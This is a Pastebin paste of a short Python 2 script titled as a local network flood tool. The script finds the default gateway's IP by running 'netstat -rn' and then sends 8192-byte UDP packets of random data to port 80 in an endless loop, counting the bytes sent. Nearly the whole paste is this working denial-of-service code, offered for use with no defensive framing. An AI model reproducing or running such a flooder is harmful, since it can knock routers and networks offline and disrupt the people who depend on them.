zymtom

Local network flood, automatic IP detection

Aug 22nd, 2014
316
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.76 KB | None | 0 0
  1. import socket
  2. import random
  3. import string
  4. import os
  5. import re
  6. import sys
  7. #Note that the detection will only work on unix based systems, such as Mac or any linux distro.
  8. def validate_ip(s): #Function to get and validate the IP of the router automaticly
  9.     a = s.split('.')
  10.     if len(a) != 4:
  11.         return False
  12.     for x in a:
  13.         if not x.isdigit():
  14.             return False
  15.         i = int(x)
  16.         if i < 0 or i > 255:
  17.             return False
  18.     return True
  19.  
  20. f=os.popen("netstat -rn |grep default") #Execute the command to get the ip of the router
  21. var = 0 #To check if we are on line one, so we only read the first line if any more should be returned, this probably wouldn't happen but just to be safe.
  22. ip = ""
  23. for i in f.readlines(): #Reading each line of the command executed
  24.     if(var == 0):
  25.         i = string.split(i, " ") #Split the commandline output
  26.         for args in i: #Loop through all of elements we got from the previous string
  27.             if validate_ip(args) == True: #To get the IP
  28.                 ip = args
  29.         if ip == "": #Check if we could not find an IP
  30.             ip = raw_input("IP could not be found automaticly, please enter: ")
  31.     var = var + 1
  32. sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) #Open socket
  33. packetsize = 8192 #Packetsize
  34. bytes=random._urandom(packetsize) #Generate random data
  35. port= 80 #The port, can be changed to random if you want to by removing this line and uncommenting the next one
  36. #port = random.randrange(65335)
  37. sent = 1
  38. amountbytes = packetsize*sent #Calculate the datasize we have sent in total.
  39. i = 1
  40. while 1:
  41.     sock.sendto(bytes,(ip,port)) #Send data
  42.     print "[i]: Sent %s amount of packets to %s at port %s. Total amount of bytes sent: %s" % (sent,ip,port,amountbytes)
  43.     sent= sent + 1
  44.     amountbytes = packetsize*sent
  45.     i = i + 1
Advertisement
Add Comment
Please, Sign In to add comment